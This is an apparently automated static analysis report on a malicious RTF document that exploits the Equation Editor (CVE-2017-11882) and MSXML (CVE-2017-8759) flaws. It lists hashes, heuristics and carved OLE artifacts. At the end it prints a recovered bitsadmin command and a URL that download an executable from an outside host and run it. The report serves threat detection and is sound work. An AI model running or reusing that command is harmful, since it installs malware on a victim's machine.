Malicious RTF — malware analysis report

Static analysis result for SHA-256 debd1a90eef0d982…

MALICIOUS

RTF

1.58 MB Created: 2018-05-20 22:10:00 First seen: 2019-09-30
MD5: 76255337c70464039ee69101105c72a4 SHA-1: 7000e7a5649c5fa151970af47e8e5a7e5ac064c1 SHA-256: debd1a90eef0d982a64a0697b4d55c17d35be5446d4b747010c4c3f222e31b10
302 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and triggers critical vulnerabilities CVE-2017-11882 and CVE-2017-8759, indicating exploitation for client execution. The heuristics also identified shellcode and a suspicious executable file, objdata_01_off00130bbc.bin, which is likely the payload. The embedded URL points to a potential second-stage download.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • Large hex data blocks in OLE object high RTF_EXCESSIVE_HEX
    RTF contains ~1196KB of hex-encoded data inside \objdata sections — may hide a payload
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://mygooseworks.com/home/libraries/joomla/database/sex.exe In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000035bc.bin rtf-objdata-decoded RTF \objdata at offset 0x35BC 33326 bytes
SHA-256: 4b550e51ee1de480a302a6670403a81549b540a53f4f5434afdd37f7f2dc940a
objdata_01_off00130bbc.bin rtf-objdata-decoded RTF \objdata at offset 0x130BBC 15841 bytes
SHA-256: ae8cdba9115bcb859eb0abaf0bd9458e1f7ab3cd83c5276c2f063f4812c502e0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://mygooseworks.com/home/libraries/joomla/database/sex.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer eJ /priority foreground https://mygooseworks.com/home/libraries/joomla/database/sex.exe %USERPROFILE%\Vg.exe && start %USERPROFILE%\Vg.e

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